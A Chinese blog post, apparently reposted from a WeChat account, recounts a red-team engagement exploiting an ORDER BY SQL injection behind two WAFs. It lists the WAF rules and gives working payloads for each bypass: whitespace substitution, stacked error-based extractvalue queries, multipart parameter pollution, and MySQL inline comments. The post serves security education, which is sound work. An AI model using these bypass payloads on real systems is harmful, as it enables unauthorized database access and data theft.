【SQL注入】一个使出浑身解数的注入点

admin 2025年1月11日13:56:15评论5 views字数 2032阅读6分46秒阅读模式

一个使出浑身解数的注入点

0x00 前言

说来也奇怪,每次HW我都能碰到有意思的注入点,相关过程也确实是废了不少心思,记录一下

0x01 表面寻常的注入点

这是一个表面上很寻常的注入点,去除掉无关信息,大概长这样:

sord=deptname%20desc&name=xxxxxxx

注入点在sord参数,根据最初信息,可以推测大致的原始SQL语句如下,这是一个可控输入点,在order by后的注入点

SELECT * FROM TABLENAME WHERE NAME = 'XXX' ORDER BY deptname DESC

这个位置的注入注入点,没法用联合查询,没法用Where,如果不能显错,要出数据就只能盲注了,不过好在,这个点是可以显错的可以堆叠的。

0x02 两层WAF

确认了注入点存在,所以首先确认一下数据库类型,一番简单操作,最终确认是MySQL数据库,而且权限也比较高。测试期间确认有两层WAF,一层代码层面软WAF,一层硬件WAF。

  • • 硬件WAF,会直接重置连接

  • • 软件WAF,则会返回请求的链接包含危险字符。

两层WAF均不会对请求内容进行修改,只要请求包满足条件,就会直接中断,所以类似使用双写这种方式,没有办法使用。

经过简单尝试,发现规则如下,:

  • • 包含下列字符直接拦截:;--,空格

  • • select 后包含from拦截

  • • concat后括号中含有【逗号】拦截

  • • 忽视多余的%

  • • 无视大小写

0x02 逐个击破

确认清楚规则,接下来就是一个一个绕WAF了,首先空格是最好绕过的,使用%09、%0A、/****/都是可以绕过的。

其次就是;--,这个也很好绕过, 中间插入间隔字符即可

然后我为了编辑方便,修改Body格式为form-data模式,这也是一个小技巧,会有意想不到效果。此时呢,Payload变成了这个样子

------WebKitFormBoundarygbRyufgEvsisGYyPContent-Disposition: form-data; name="sord"desc;select/**/extractvalue(rand(),":AAAAAAA")--------WebKitFormBoundarygbRyufgEvsisGYyP--

这个时候能已经能够正常显错,打印出:

XPATH syntax error: ':AAAAAAA'

但是如果要查询数据,就不得不避免的需要使用CONCAT函数

------WebKitFormBoundarygbRyufgEvsisGYyPContent-Disposition: form-data; name="sord"desc;select/**/extractvalue(rand(),concat(":","AAAAAAA"))--------WebKitFormBoundarygbRyufgEvsisGYyP--

在这里我卡了很久,不论是使用内联注释, 还是嵌套各种注释尝试混淆WAF的正则都无果,最终用了一个很骚的路子,之前一直没有机会用,Payload如下

------WebKitFormBoundarygbRyufgEvsisGYyPContent-Disposition: form-data; name="sord"desc;select/**/extractvalue(rand(),concat(":"------WebKitFormBoundarygbRyufgEvsisGYyPContent-Disposition: form-data; name="sord""AAAAAAA"))--------WebKitFormBoundarygbRyufgEvsisGYyP--

这,就是大名鼎鼎的“参数污染”

【SQL注入】一个使出浑身解数的注入点

幸好目标用的是IIS做中间件,这样虽然解决了逗号的问题,但是没法解决最后一个Boss。

我尝试了相当多的办法,最终都没有办法绕过这个这个规则,即便是参数污染,但是WAF的识别规则,也会将两个参数内容,合并之后,再做分析,这样from又到了select后面,依然会被拦截。

好在功夫不负有心人,内联注释救了我

------WebKitFormBoundarygbRyufgEvsisGYyPContent-Disposition: form-data; name="sord"desc;select/**/extractvalue(rand(),concat(":"------WebKitFormBoundarygbRyufgEvsisGYyPContent-Disposition: form-data; name="sord"'AAAAA'/*!fromTABLE_NAME*/))--------WebKitFormBoundarygbRyufgEvsisGYyP--

0x03 最后

其实这里面还有很多坑的,但是关键点已经说完了,在这里就没必要在赘述。附一张出数据的截图,

【SQL注入】一个使出浑身解数的注入点

原文始发于微信公众号(Kv2的万事屋):【SQL注入】一个使出浑身解数的注入点

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日13:56:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【SQL注入】一个使出浑身解数的注入点https://cn-sec.com/archives/2161782.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息